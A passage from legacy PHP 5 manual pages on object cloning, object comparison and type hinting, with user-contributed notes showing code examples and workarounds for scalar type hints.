  $x = array('bar' => 0); // built-in array() is not an object
  $y = new ArrayObject(array('bar' => 0));

  echo "\$x['bar'] == ${x['bar']};\n\$y['bar'] == ${y['bar']};\n\n";

  foo($x);
  foo($y);

  echo "\$x['bar'] == ${x['bar']};\n\$y['bar'] == ${y['bar']};\n";

?>

Output:
$x['bar'] == 0;
$y['bar'] == 0;

$x['bar'] == 0;
$y['bar'] == 10;

Hope this will be useful.

By the way, to determine whether the variable is compatible with ArrayAccess/ArrayObject see http://php.net/manual/en/function.is-array.php#48083
crrodriguez at suse dot de 12-Mar-2008 09:52
Keep in mind that since PHP 5.2.5, trying to clone a non-object correctly results in a fatal error, this differs from previous versions where only a Warning was thrown.
Hayley Watson 17-Dec-2007 03:51
It should go without saying that if you have circular references, where a property of object A refers to object B while a property of B refers to A (or more indirect loops than that), then you'll be glad that clone does NOT automatically make a deep copy!

<?php

class Foo
{
    var $that;

function __clone()
{
    $this->that = clone $this->that;
}

}

$a = new Foo;
$b = new Foo;
$a->that = $b;
$b->that = $a;

$c = clone $a;
echo 'What happened?';
var_dump($c);
tomi at cumulo dot fi 13-Nov-2007 03:57
It should be noticed that __clone() does not allow you to return a value. Basically the idea is that you implement this magic method only when you want to execute operations inside the cloned object, immediately prior to the cloning. In this way __clone() is similar to the default destructor (__destruct()), in that it executes code right before the object is destroyed.
muratyaman at gmail dot com 08-Oct-2007 07:43
I think this is a bit awkward:

<?php
class A{
    public $aaa;
}

class B{
    public $a;
    public $bbb;

    function __clone(){
        $this->a = clone $this->a;//clone MANUALLY!!!
    }
}

$b1 = new B();
$b1->a = new A();
$b1->a->aaa = 111;
$b1->bbb = 1;

$b2 = clone $b1;
$b2->a->aaa = 222;//BEWARE!!
$b2->bbb = 2;//no problem on basic types

var_dump($b1); echo '<br />';
var_dump($b2);
/*
OUTPUT BEFORE implementing the function __clone()
object(B)#2 (3) { ["a"]=>  object(A)#3 (1) { ["aaa"]=>  int(222) } ["bbb"]=>  int(1)  }
object(B)#4 (3) { ["a"]=>  object(A)#3 (1) { ["aaa"]=>  int(222) } ["bbb"]=>  int(2)  }

OUTPUT AFTER implementing the function __clone()
object(B)#1 (3) { ["a"]=>  object(A)#2 (1) { ["aaa"]=>  int(111) } ["bbb"]=>  int(1)  }
object(B)#3 (3) { ["a"]=>  object(A)#4 (1) { ["aaa"]=>  int(222) } ["bbb"]=>  int(2)  }
*/
?>

Whenever we use another class inside, we must clone it manually. If you have 10s of classes related, this is rather tedious. I don't want to even think about classes dynamically populated with other objects. Be careful when designing your classes! You should look after your objects all the time! This major change on PHP5 vs PHP4 regarding "references" definitely has very good performance improvements but comes with very dangerous side effects as well..
Alexey 08-Feb-2007 07:18
To implement __clone() method in complex classes I use this simple function:

function clone_($some)
{
   return (is_object($some)) ? clone $some : $some;
}

In this way I don't need to care about type of my class properties.
MakariVerslund at gmail dot com 21-Jan-2007 04:30
I ran into the same problem of an array of objects inside of an object that I wanted to clone all pointing to the same objects. However, I agreed that serializing the data was not the answer. It was relatively simple, really:

public function __clone() {
    foreach ($this->varName as &$a) {
        foreach ($a as &$b) {
            $b = clone $b;
        }
    }
}

Note, that I was working with a multi-dimensional array and I was not using the Key=>Value pair system, but basically, the point is that if you use foreach, you need to specify that the copied data is to be accessed by reference.
jorge dot villalobos at gmail dot com 30-Mar-2005 03:29
I think it's relevant to note that __clone is NOT an override. As the example shows, the normal cloning process always occurs, and it's the responsibility of the __clone method to "mend" any "wrong" action performed by it.
Final Keyword
Comparing Objects
Classes and Objects


Comparing Objects

In PHP 5, object comparison is more complicated than in PHP 4 and more in accordance to what one will expect from an Object Oriented Language (not that PHP 5 is such a language).

When using the comparison operator (==), object variables are compared in a simple manner, namely: Two object instances are equal if they have the same attributes and values, and are instances of the same class.

On the other hand, when using the identity operator (===), object variables are identical if and only if they refer to the same instance of the same class.

An example will clarify these rules.

Example #1 Example of object comparison in PHP 5

<?php
function bool2str($bool)
{
    if ($bool === false) {
        return 'FALSE';
    } else {
        return 'TRUE';
    }
}

function compareObjects(&$o1, &$o2)
{
    echo 'o1 == o2 : ' . bool2str($o1 == $o2) . "\n";
    echo 'o1 != o2 : ' . bool2str($o1 != $o2) . "\n";
    echo 'o1 === o2 : ' . bool2str($o1 === $o2) . "\n";
    echo 'o1 !== o2 : ' . bool2str($o1 !== $o2) . "\n";
}

class Flag
{
    public $flag;

    function Flag($flag = true) {
        $this->flag = $flag;
    }
}

class OtherFlag
{
    public $flag;

    function OtherFlag($flag = true) {
        $this->flag = $flag;
    }
}

$o = new Flag();
$p = new Flag();
$q = $o;
$r = new OtherFlag();

echo "Two instances of the same class\n";
compareObjects($o, $p);

echo "\nTwo references to the same instance\n";
compareObjects($o, $q);

echo "\nInstances of two different classes\n";
compareObjects($o, $r);
?>

The above example will output:

Two instances of the same class
o1 == o2 : TRUE
o1 != o2 : FALSE
o1 === o2 : FALSE
o1 !== o2 : TRUE

Two references to the same instance
o1 == o2 : TRUE
o1 != o2 : FALSE
o1 === o2 : TRUE
o1 !== o2 : FALSE

Instances of two different classes
o1 == o2 : FALSE
o1 != o2 : TRUE
o1 === o2 : FALSE
o1 !== o2 : TRUE

Note:

Extensions can define own rules for their objects comparison.

User Contributed Notes

f at francislacroix dot info 18-Nov-2011 11:36
It should be noted that objects can be compared using only their accessible properties using get_object_vars().

Per example, in this class:

class X {
    public $a;
    private $b;
    public function __construct($a, $b) {
        $this->a = $a;
        $this->b = $b;
    }
}

You can ignore the private properties when comparing them outside the class scope, like this:

$a = new X(1, 1);
$b = new X(1, 0);
var_dump(get_object_vars($a) == get_object_vars($b));

Just remember that get_object_vars() return different properties depending on the scope where you call it, so calling the above within one of X member will compare the private properties.
d dot e dot pope at gmail dot com 27-Mar-2011 12:27
Note that ALL object fields, public and private, are used in the equivalence check.  If you want public-only equivalence you'll have to roll your own.

<?php

function bool2str($bool)
{
    if ($bool === false) {
        return 'FALSE';
    } else {
        return 'TRUE';
    }
}

class PubPrivFlag
{
    public $pubFlag;
    private $privFlag;

    public function __construct($pub, $priv)
    {
        $this->pubFlag = $pub;
        $this->privFlag = $priv;
    }
}

echo "Two instances of the same class with identical private fields\n";
$s = new PubPrivFlag(true, true);
$t = new PubPrivFlag(true, true);
echo 'o1 == o2 : ' . bool2str($s == $t) . "\n";

echo "Two instances of the same class with different private fields\n";
$s = new PubPrivFlag(true, true);
$t = new PubPrivFlag(true, false);
echo 'o1 == o2 : ' . bool2str($s == $t) . "\n";
?>

This will output the following:

Two instances of the same class with identical private fields
o1 == o2 : TRUE
Two instances of the same class with different private fields
o1 == o2 : FALSE
SjH 02-Feb-2011 04:15
Interestingly enough due to the operator precidences changing the values of identical objects may not be as obvious as expected.

<?php
class A {

    private $val;

    public function set($val)
    {
        $this->val = $val;

        return $this;
     }

}

$a = new A;
$b = new A;
$c = $a;

echo var_dump($a->set('foo') == $b->set('bar'));
// Will evaluate as boolean false

echo var_dump($a->set('foo') == $c->set('bar'));
// Will evaluate a boolean true
?>
Anonymous 02-Jul-2010 09:00
Comparison using <> operators should be documented.  Between two objects, at least in PHP5.3, the comparison operation stops and returns at the first unequal property found.

<?php

$o1 = new stdClass();
$o1->prop1 = 'c';
$o1->prop2 = 25;
$o1->prop3 = 201;
$o1->prop4 = 1000;

$o2 = new stdClass();
$o2->prop1 = 'c';
$o2->prop2 = 25;
$o2->prop3 = 200;
$o2->prop4 = 9999;

echo (int)($o1 < $o2); // 0
echo (int)($o1 > $o2); // 1

$o1->prop3 = 200;

echo (int)($o1 < $o2); // 1
echo (int)($o1 > $o2); // 0

?>
RPaseur at NationalPres dot org 08-Oct-2009 04:09
SimpleXML Objects are different, even if made from the same XML.

<?php // RAY_SimpleXML_compare.php
error_reporting(E_ALL);
echo "<pre>\n";

// TWO SimpleXML OBJECTS ARE NOT EQUAL WITH COMPARISON OPERATORS.  PHP 5.2.10

// AN XML STRING
$xml = '<?xml version="1.0" encoding="utf-8"?>
<thing>
  <number>123456</number>
  <email>user@example.com</email>
  <state>CA</state>
</thing>';

// SHOW THE XML STRING
echo htmlentities($xml);

// MAKE TWO OBJECTS
$obj1 = SimpleXML_Load_String($xml);
$obj2 = SimpleXML_Load_String($xml);

// COMPARE OBJECTS AND FIND THAT THIS ECHOS NOTHING AT ALL
if ($obj1 === $obj2) echo "\n\nOBJECTS IDENTICAL ";
if ($obj1 ==  $obj2) echo "\n\nOBJECTS EQUAL ";

// SHOW THE OBJECTS - NOTE DIFFERENT SimpleXMLElement NUMBERS
echo "\n\n";
var_dump($obj1);
var_dump($obj2);

// ITERATE OVER THE OBJECTS
foreach ($obj1 as $key => $val1)
{
    $val2 = $obj2->$key;
    var_dump($val1);
    var_dump($val2);
    if ($val1 == $val2) echo "\n\nOBJECTS EQUAL"; // ECHOS NOTHING

// RECAST AS STRINGS AND COMPARE AGAIN
    $val1 = (string)$val1;
    $val2 = (string)$val2;
    if ($val1 === $val2) echo "STRINGS IDENTICAL: $key => $val1 \n\n"; // CONMPARISON SHOWS STRINGS IDENTICAL
}
?>
Hayley Watson 16-Sep-2008 03:33
This has already been mentioned (see jazfresh at hotmail.com's note), but here it is again in more detail because for objects the difference between == and === is significant.

Loose equality (==) over objects is recursive: if the properties of the two objects being compared are themselves objects, then those properties will also be compared using ==.

<?php
class Link
{
    public $link; function __construct($link) { $this->link = $link; }
}
class Leaf
{
    public $leaf; function __construct($leaf) { $this->leaf = $leaf; }
}

$leaf1 = new Leaf(42);
$leaf2 = new Leaf(42);

$link1 = new Link($leaf1);
$link2 = new Link($leaf2);

echo "Comparing Leaf object equivalence: is \$leaf1==\$leaf2? ", ($leaf1 == $leaf2  ? "Yes" : "No"), "\n";
echo "Comparing Leaf object identity: is \$leaf1===\$leaf2? ",   ($leaf1 === $leaf2 ? "Yes" : "No"), "\n";
echo "\n";
echo "Comparing Link object equivalence: is \$link1==\$link2? ",($link1 == $link2  ? "Yes" : "No"), "\n";
echo "Comparing Link object identity: is \$link1===\$link2? ",  ($link1 === $link2 ? "Yes" : "No"), "\n";
?>

Even though $link1 and $link2 contain different Leaf objects, they are still equivalent because the Leaf objects are themselves equivalent.

The practical upshot is that using "==" when "===" would be more appropriate can result in a severe performance penalty, especially if the objects are large and/or complex. In fact, if there are any circular relationships involved between the objects or (recursively) any of their properties, then a fatal error can result because of the implied infinite loop.

<?php
class Foo { public $foo; }
$t = new Foo; $t->foo = $t;
$g = new Foo; $g->foo = $g;

echo "Strict identity:   ", ($t===$g ? "True" : "False"),"\n";
echo "Loose equivalence: ", ($t==$g  ? "True" : "False"), "\n";
?>

So preference should be given to comparing objects with "===" rather than "=="; if two distinct objects are to be compared for equivalence, try to do so by examining suitable individual properties. (Maybe PHP could get a magic "__equals" method that gets used to evaluate "=="? :) )
wbcarts at juno dot com 08-Sep-2008 01:36
COMPARING OBJECTS using PHP's usort() method.

PHP and MySQL both provide ways to sort your data already, and it is a good idea to use that if possible. However, since this section is on comparing your own PHP objects (and that you may need to alter the sorting method in PHP), here is an example of how you can do that using PHP's "user-defined" sort method, usort() and your own class compare() methods.

<?php

/*
 * Employee.php
 *
 * This class defines a compare() method, which tells PHP the sorting rules
 * for this object - which is to sort by emp_id.
 *
 */
class Employee
{
    public $first;
    public $last;
    public $emp_id;     // the property we're interested in...

    public function __construct($emp_first, $emp_last, $emp_ID)
    {
        $this->first = $emp_first;
        $this->last = $emp_last;
        $this->emp_id = $emp_ID;
    }

    /*
     * define the rules for sorting this object - using emp_id.
     * Make sure this function returns a -1, 0, or 1.
     */
    public static function compare($a, $b)
    {
        if ($a->emp_id < $b->emp_id) return -1;
        else if($a->emp_id == $b->emp_id) return 0;
        else return 1;
    }

    public function __toString()
    {
        return "Employee[first=$this->first, last=$this->last, emp_id=$this->emp_id]";
    }
}

# create a PHP array and initialize it with Employee objects.
$employees = array(
  new Employee("John", "Smith", 345),
  new Employee("Jane", "Doe", 231),
  new Employee("Mike", "Barnes", 522),
  new Employee("Vicky", "Jones", 107),
  new Employee("John", "Doe", 2),
  new Employee("Kevin", "Patterson", 89)
);

# sort the $employees array using Employee compare() method.
usort($employees, array("Employee", "compare"));

# print the results
foreach($employees as $employee)
{
  echo $employee . '<br>';
}
?>

Results are now sorted by emp_id:

Employee[first=John, last=Doe, emp_id=2]
Employee[first=Kevin, last=Patterson, emp_id=89]
Employee[first=Vicky, last=Jones, emp_id=107]
Employee[first=Jane, last=Doe, emp_id=231]
Employee[first=John, last=Smith, emp_id=345]
Employee[first=Mike, last=Barnes, emp_id=522]

Important Note: Your PHP code will never directly call the Employee's compare() method, but PHP's usort() calls it many many times. Also, when defining the rules for sorting, make sure to get to a "primitive type" level... that is, down to a number or string, and that the function returns a -1, 0, or 1, for reliable and consistent results.

Also see: http://www.php.net/manual/en/function.usort.php for more examples of PHP's sorting facilities.
wbcarts at juno dot com 06-Sep-2008 02:02
COMPARISONS AND EQUALITY are NOT the same

I'm not sure that the PHP Example #1 above is clear enough. In my own experience, I have found there is a distinct difference between a "comparison" and a "test for equality". The difference is found in the possible return values of the function being used, for example.

/*
 * Test two values for EQUALITY - returns (boolean) TRUE or FALSE.
 */
function equals($a, $b)
{
  return ($a == $b);
}

/*
 * COMPARE two values - returns (int) -1, 0, or 1.
 */
function compare($a, $b)
{
  if($a < $b) return -1;
  else if($a == $b) return 0;
  else if($a > $b) return 1;
  else return -1;
}

My examples clarify the difference between "making a comparison" and "testing for equality". You can substitute any of the "==" with "===" for example, but the point is on the possible return values of the function. All tests for EQUALITY will return TRUE or FALSE, and a COMPARISON will give a "<", "==", or ">" answers... which you can then use for sorting.
cross+php at distal dot com 05-Mar-2008 08:50
In response to "rune at zedeler dot dk"s comment about class contents being equal, I have a similar issue.  I want to sort an array of objects using sort().

I know I can do it with usort(), but I'm used to C++ where you can define operators that allow comparison.  I see in the zend source code that it calls a compare_objects function, but I don't see any way to implement that function for an object.  Would it have to be an extension to provide that interface?

If so, I'd like to suggest that you allow equivalence and/or comparison operations to be defined in a class definition in PHP.  Then, the sorts of things rune and I want to do would be much easier.
dionyziz at deviantart dot com 10-Mar-2007 07:20
Note that classes deriving from the same parent aren't considered equal when comparing even using ==; they should also be objects of the same child class.

<?php
    class Mom {
        private $mAttribute;

        public function Mom( $attribute ) {
            $this->mAttribute = $attribute;
        }
        public function Attribute() {
             return $this->mAttribute;
        }
    }

    final class Sister extends Mom {
        public function Sister( $attribute ) {
            $this->Mom( $attribute );
        }
    }

    final class Brother extends Mom {
        public function Brother( $attribute ) {
            $this->Mom( $attribute );
        }
    }

    $sister = new Sister( 5 );
    $brother = new Brother( 5 );

    assert( $sister == $brother ); // will FAIL!
?>

This assertion will fail, because sister and brother are not of the same child class!

If you want to compare based on the parent class object type only, you might have to define a function for comparisons like these, and use it instead of the == operator:

<?php
    function SiblingsEqual( $a, $b ) {
        if ( !( $a instanceof Mom ) ) {
            return false;
        }
        if ( !( $b instanceof Mom ) ) {
            return false;
        }
        if ( $a->Attribute() != $b->Attribute() ) {
            return false;
        }
        return true;
    }

    assert( SiblingsEqual( $sister, $brother ) ); // will succeed
?>
rune at zedeler dot dk 28-Feb-2007 08:34
Whoops, apparently I hadn't checked the array-part of the below very well.
Forgot to test if the arrays had same length, and had some misaligned parenthesis.
This one should work better :+)

<?
function deepCompare($a,$b) {
  if(is_object($a) && is_object($b)) {
    if(get_class($a)!=get_class($b))
      return false;
    foreach($a as $key => $val) {
      if(!deepCompare($val,$b->$key))
        return false;
    }
    return true;
  }
  else if(is_array($a) && is_array($b)) {
    while(!is_null(key($a)) && !is_null(key($b))) {
      if (key($a)!==key($b) || !deepCompare(current($a),current($b)))
        return false;
      next($a); next($b);
    }
    return is_null(key($a)) && is_null(key($b));
  }
  else
    return $a===$b;
}
?>
rune at zedeler dot dk 27-Feb-2007 08:27
I haven't found a build-in function to check whether two obects are identical - that is, all their fields are identical.
In other words,

<?
class A {
  var $x;
  function __construct($x) { $this->x = $x; }

}
$identical1 = new A(42);
$identical2 = new A(42);
$different = new A('42');
?>

Comparing the objects with "==" will claim that all three of them are equal. Comparing with "===" will claim that all are un-equal.
I have found no build-in function to check that the two identicals are
identical, but not identical to the different.

The following function does that:

<?
function deepCompare($a,$b) {
  if(is_object($a) && is_object($b)) {
    if(get_class($a)!=get_class($b))
      return false;
    foreach($a as $key => $val) {
      if(!deepCompare($val,$b->$key))
    return false;
    }
    return true;
  }
  else if(is_array($a) && is_array($b)) {
    while(!is_null(key($a) && !is_null(key($b)))) {
      if (key($a)!==key($b) || !deepCompare(current($a),current($b)))
    return false;
      next($a); next($b);
    }
    return true;
  }
  else
    return $a===$b;
}
?>
jazfresh at hotmail.com 08-Dec-2006 02:36
Note that when comparing object attributes, the comparison is recursive (at least, it is with PHP 5.2). That is, if $a->x contains an object then that will be compared with $b->x in the same manner. Be aware that this can lead to recursion errors:
<?php
class Foo {
    public $x;
}
$a = new Foo();
$b = new Foo();
$a->x = $b;
$b->x = $a;

print_r($a == $b);
?>
Results in:
PHP Fatal error:  Nesting level too deep - recursive dependency? in test.php on line 11
Object Cloning
Type Hinting
Classes and Objects


Type Hinting

PHP 5 introduces Type Hinting. Functions are now able to force parameters to be objects (by specifying the name of the class in the function prototype) or arrays (since PHP 5.1). However, if NULL is used as the default parameter value, it will be allowed as an argument for any later call.

Example #1 Type Hinting examples

<?php
// An example class
class MyClass
{
    /**
     * A test function
     *
     * First parameter must be an object of type OtherClass
     */
    public function test(OtherClass $otherclass) {
        echo $otherclass->var;
    }

    /**
     * Another test function
     *
     * First parameter must be an array
     */
    public function test_array(array $input_array) {
        print_r($input_array);
    }
}

// Another example class
class OtherClass {
    public $var = 'Hello World';
}
?>

Failing to satisfy the type hint results in a catchable fatal error.

<?php
// An instance of each class
$myclass = new MyClass;
$otherclass = new OtherClass;

// Fatal Error: Argument 1 must be an object of class OtherClass
$myclass->test('hello');

// Fatal Error: Argument 1 must be an instance of OtherClass
$foo = new stdClass;
$myclass->test($foo);

// Fatal Error: Argument 1 must not be null
$myclass->test(null);

// Works: Prints Hello World
$myclass->test($otherclass);

// Fatal Error: Argument 1 must be an array
$myclass->test_array('a string');

// Works: Prints the array
$myclass->test_array(array('a', 'b', 'c'));
?>

Type hinting also works with functions:

<?php
// An example class
class MyClass {
    public $var = 'Hello World';
}

/**
 * A test function
 *
 * First parameter must be an object of type MyClass
 */
function MyFunction (MyClass $foo) {
    echo $foo->var;
}

// Works
$myclass = new MyClass;
MyFunction($myclass);
?>

Type hinting allowing NULL value:

<?php

/* Accepting NULL value */
function test(stdClass $obj = NULL) {

}

test(NULL);
test(new stdClass);

?>

Type Hints can only be of the object and array (since PHP 5.1) type. Traditional type hinting with int and string isn't supported.

User Contributed Notes

john at cast dot com 29-Apr-2011 06:33
i use eclipse ganymede as an IDE and it offers "intellisense" where it can, i.e. when variables are "declared" via type hinting or a "new"-statement . i found using the following pattern helps eclipse along as well:

<?php
class MyClass{

  public static function Cast(MyClass &$object=NULL){
       return $object;
  }

  public method CallMe(){
  }
}

$x=unserialize($someContent);
$x=MyObject::Cast($x);
$x->CallMe();
?>

after calling Cast(), due to the type hinting, eclipse offers me the "CallMe" function in a dropdown when i type "$x->" in the code afterwards.

i found this very practical und included the Cast() function in my code template for new classes. i've been wondering, if there is a drawback i oversaw, but i haven't noticed any negative effects so far... maybe some of you will find this just as handy as i do ;o)

p.s. do note: when used in inherited classes a STRICT-notice comes up, because the function definition of the inherited class doesn't match the parent's definition (different type hinting) - but it works great!
Anonymous 14-Apr-2011 07:43
Please note, there is a strong typing in PHP.

You have to import one PHP library to your existing projects, and create some classes, in which the scalar values will be automatically wrapped by an autoboxing mechanism known from Java, like so:

<?php
class String extends AutoBoxedObject
{
    public $value;

    public function __construct($value) {
        $this->value = $value;
    }

    public function __toString() {
        return "$this->value";
    }

    public function toUpperCase() {
        return strtoupper($this->value);
    }
}

function & string($value = null) {
    $x = & VariablesManager::getNewPointer(new String($value));
    return $x;
}
?>

From now on you can declare the type of data in your variables, and validate their values in a class constructor.

See this example:

<?php
$y = & string("aaa");
// lets check, that $y is an object
var_dump($y);

// now we are overwritting $y variable with a scalar value of "zzz"
$y = "zzz";
// var_dump() shows us, that "zzz" is still an object, not the scalar type as in regular PHP
var_dump($y);
// the line below should raise a fatal error, because "zzz" was a scalar type (string), but it will be ok, because $y is still an object (thanks to autoboxing)
var_dump($y->toUpperCase());
?>
Now, the output is:

object(String)#1 (2) {
  ["value"]=>
  string(3) "aaa"
  ["ref":protected]=>
  int(1)
}
object(String)#2 (2) {
  ["value"]=>
  string(3) "zzz"
  ["ref":protected]=>
  int(1)
}
string(3) "ZZZ"

As you can see, PHP can be as good as Java or C#:)

To enforce strong data types you just have to do it in the wrapper class, like so:
<?php
class Integer extends AutoBoxedObject
{
    public $value;

    public function __construct($value) {
        if(!is_int($value)) { throw new Exception("Invalid data type"); }
        $this->value = $value;
    }

    public function getValue() {
        return $this->value;
    }

    public function __toString() {
        return (string)$this->value;
    }
}
?>

To download the library, just google for 'strong data typing autoboxing' . There is an article describing how to use it, and a download link to the appropriate PHP library.
macobex dot exe at gmail dot com 10-Feb-2011 06:48
I agree [that] using object/wrapper is faster than using the is_* functions.

But I think we must also consider the fact that when we pass an argument to a function, most likely we will use it's value. So I've done a little test to see which approach is faster.

Primitive Approach:
<?php

function testPrimitive($str) {
   if ( is_string($str) )
      $x = $str . ' world';   // using the argument's value
   else
      trigger_error('Argument passed must be of type string.');
   }

?>

Wrapper Approach:

<?php

   function testWrapper(StringWrapper $str) {
      $x = $str->getValue() . ' world';  // using the argument's value
   }

?>

Test: 10,000 iterations
Results:
   primitive average: 0.026113033294678
   wrapper average: 0.063039064407349

   primitive is faster than wrapper approach by 41.42357368431%

Using the is_* function is faster than using wrapper class, given the fact that we just not want to check the type of the argument, but we also want to use the value of the argument.
alejosimon at gmail dot com 22-Oct-2010 11:55
For PHP 5.3 version and namespaces support.

<?php

function phpErrorHandler( $code, $message, $file, $line ) {

    if ( error_reporting() & $code ) {

        if ( $code == E_RECOVERABLE_ERROR ) { // Scalar Type-Hinting patch.

            $regexp = '/^Argument (\d)+ passed to (.+) must be an instance of (?<hint>.+), (?<given>.+) given/i' ;

            if ( preg_match( $regexp, $message, $match ) ) {

                $given = $match[ 'given' ] ;
                $hint  = end( explode( '\\', $match[ 'hint' ] ) ) ; // namespaces support.

                if ( $hint == $given ) return true ;
            }
        }

        return false ;
    }
}

set_error_handler( 'phpErrorHandler' ) ;

/************************************/

function typeHintTest( integer $arg1 ) {

    print_r( $arg1 ) ;
}

typeHintTest( true ) ; // Error throw because not integer type.

?>
gdecad at NOSPAM dot example dot com 22-Oct-2010 06:02
I have made a little bench between three method of type hinting for native type (string, integer, ...).

First method : by test type in function like :
<?php
function testTest($arg) {
    if (!is_string($arg)) {
        trigger_error('Argument $arg passed to test must be an instance of string, other given');
    }
    return $arg;
}
?>

Second method : by object representing native type :
<?php
function testObject(StringObj $arg) {
    return $arg;
}
?>

Third method : by class TypeHint proposed by Daniel :
<?php
function testHint(string $arg) {
    return $arg;
}
?>

the results are here :
bench for 100000 iterations,  in seconds
        avg                    min                    max                    total
test    5.3275489807129E-6    2.8610229492188E-6    0.0033020973205566    0.53275895118713
object    4.9089097976685E-6    3.814697265625E-6    0.0025870800018311    0.49089503288269
hint    3.2338891029358E-5    2.9802322387695E-5    0.0025920867919922    3.2338931560516

As you can see, the method by object is the best
now you know...
bogdan dot wrobel at gmail dot com 02-Feb-2010 12:10
Regarding "simple" type hints, you may use SPL: http://pl.php.net/manual/en/book.spl-types.php
reinier dot kip at gmail dot com 15-Sep-2009 01:22
Please note that when using the type hinting class together with namespaces, you're asking for trouble:

<?php
namespace a {
    interface A {
        public function execute(string $sth);
    }
}

namespace a\b {
    class B implements a\A {
        public function execute(string $sth){} // Wrong
        public function execute(a\string $sth){} // Correct
    }
} // Causes a fatal error on this line. 'string' is considered an object from the namespace 'a'
?>
dpariyskiy at netatwork dot com 08-Sep-2009 08:36
Daniel, thank you for the type hinting class. Very useful.
For anyone having a problem where php isn't setting Daniel's error handler, as was the case for me, try changing initializeHandler function to the following:

<?php
public static function initializeHandler()
{

    set_error_handler(array('Typehint','handleTypehint'));

    return TRUE;
}
?>

Hope this helps,
--Dmitriy
bantam at banime dot com 06-Jan-2009 02:53
Daniel's typehint implementation was just what I was looking for but performance in production wasn't going to cut it. Calling a backtrace every time hurts performance. For my implementation I didn't use it, after all, PHP tells us what the data type is in the error message, I don't feel I need to evaluate the argument where I am using typehinting. Here is the cut down version I use in my error handling class:

<?php
        public static function typehint($level, $message)
        {
            if($level == E_RECOVERABLE_ERROR)
            {
                if(preg_match('/^Argument (\d)+ passed to (?:(\w+)::)?(\w+)\(\) must be an instance of (\w+), (\w+) given/', $message, $match))
                {
                    if($match[4] == $match[5])
                        return true;
                }
            }

            return false;
        }
?>

Hope this can be of use to somebody.
r dot wilczek at web-appz dot de 18-Dec-2008 07:41
It has already been mentioned here that you can use 'self' as a typehint (in methods of classes and interfaces, not in functions of course), which is useful in interfaces and abstract method declarations to force the implementor to accept an instance of it's own type:
<?php
interface Foo
{
    public function baz(self $object);
}

class Bar implements Foo
{
    public function baz(self $object)
    {
        //
    }
}
?>

What has not been mentioned by now is that you can use 'parent' as a typehint too. Example with an interface:
<?php
interface Foo
{
    public function baz(parent $object);
}

class Baz {}
class Bar extends Baz implements Foo
{
    public function baz(parent $object)
    {
        //
    }
}
?>
Bar::baz() will now accept any instance of Baz.
If Bar is not a heir of any class (no 'extends') PHP will raise a fatal error:
'Cannot access parent:: when current class scope has no parent'.
wickedmuso at gmail dot com 24-Oct-2008 08:26
One useful thing with Type Hinting that I could not find in the documentation (but tested) is that you can also use an Interface in the hint (versus a Class).  This is a very useful tool if you are trying to code to Interfaces rather than Classes (which is common in Test Driven Development and Dependency Injection paradigms).  It means your external class can present itself into the method as long as it implements the nominated Interface (obviously).
info at thewebsiteguy dot com dot au 08-Oct-2008 06:30
I find it rather frustrating that PHP has internal data types but doesn't allow optional hinting for it.  I REALLY needed it for something, so I found a way around it.

<?php
abstract class DataType
{
    protected $length;
    protected $precision;
    protected $number;

  public function __construct()
  {
    $this->number = false;
    $this->precision = null;
  }

    public function GetLength()
    {
        return $this->length;
    }

    public function IsNumber()
    {
        return $this->number;
    }

    public function GetPrecision()
    {
        return $this->precision;
    }
}

class Integer extends DataType
{
    public function __construct($length = 12)
    {
        parent::__construct();
        $this->number = true;
        $this->length = $length;
        $this->precision = 0;
    }
}

class Float extends DataType
{
  public function __construct($length = 12, $precision = 2)
  {
    parent::__construct();
    $this->number = true;
    $this->length = $length;
    $this->precision = $precision;
  }
}

class String extends DataType
{
    public function __construct($length = 255)
    {
        parent::__constructor();
        $this->length = $length;
    }
}
//etc etc through the types...
?>

then later I can do this...

<?php
final class Field
{
    public $Name;
    public $Mandatory;
    public $Hidden;
    public $ListField;
    public $Value;
    public $ForeignClass;
    public $ReadOnly;
    public $DataType;

    public function __construct($name, DataType $dataType, $mandatory = false, $listField = true, $value = null, $readOnly = false, BaseCBO $foreignClass = null)
    {
        $this->Name = $name;
        $this->DataType = $dataType;
        $this->Mandatory = $mandatory;
        $this->ListField = $listField;
        $this->Value = $value;
        $this->ReadOnly = $readOnly;
        $this->ForeignClass = $foreignClass;
    }
}

// ....

class DoSomeStuff
{
    public function DoGenericThings(Field $field)
    {
        if ($field->DataType instanceof Integer)
        {
            // do things for an integer field...
        }
    }
}
?>
wbcarts at juno dot com 01-Oct-2008 06:20
TYPE-HINTING and VISIBILITY

Type-hinting is just one more small piece of PHP that protects our objects when visibility cannot.

<?php

class Point {
  public $x, $y;

  public function __construct($xVal = 0, $yVal = 0) {
    $this->x = $xVal;
    $this->y = $yVal;
  }
}

class Polyline {
  protected $points = array();

  public function addPoint(Point $p) {  // the line we're interested in...
    $this->points[] = $p;
  }
}

$point1 = new Point(15, 12);
$polyline = new Polyline();
$polyline->addPoint($point1);
$polyline->addPoint(new Point(55, 22));
$polyline->addPoint(new Point(33, 31));

$polyline->addPoint(new stdClass());    // PHP will throw an error for us!

?>

Since our Polyline::addPoint() function has to be public, any outside code can try to pass anything. But, when type-hinting is declared, PHP throws an error when phoney data tries to sneak by.
DanielLWood [at] Gmail [dot] Com 08-Sep-2008 05:59
To follow up on my original post dealing with the type hinting class I provided:

Kalkamar is absolutely correct, it is slow and is a hack.  Everyone who uses it and wants to see this type of syntax native needs to post on the 'php internals' development thread in support.

Thanks,

Dan
kalkamar at web dot de 04-Sep-2008 02:24
I really like the Daniel`s Typehinting-Class, but you please not that it may be relevant for the performance if you use Typehinting for scalar values very often.

Here is my performance-test:

<?php

function notypehinting($x)
{
    is_string($x);   //checking the type manually instead
}

function typehinting(string $x)
{
}

$test=new timer;
for($i=0;$i<10000;$i++)
{
try{
    notypehinting('test');
}
catch(Exception $e){}
}
echo $test.'<br>';

$test2=new timer;
for($i=0;$i<10000;$i++)
{
try{
    typehinting('test');
}
catch(Exception $e){}
}
echo $test2.'<br>';
?>

Output:

0.0088460445404053
0.21634602546692

Result:
typehinting() ist more than 20 times slower than notypehinting()

You see: typehinting for scalar types (like suggested by Daniel) is not the best thing for the performance if you use it very often.
comments at ignorethis netweblogic com 17-Jul-2008 07:39
Note that you cannot add a type hint and give a default value, apart from arrays. You will get an internal server error, or fatal error.

e.g.

<?php

//Wont work
function test(ObjName $obj = ''){
   //.....
}

//Will work
function test(Array $obj = array()){
   //.....
}

?>

Even if you have Daniel's implementation of type hinting, a string typehint will still not work if you give it an empty string default too.
marcus at ignorethis netweblogic dot com 14-Jul-2008 06:18
Love the typehint object Daniel. Great effort!

However, it still throws catchable fatal errors, which is not what I want, so I added one line to handleTypehint() so it throws an Exception.

<?php
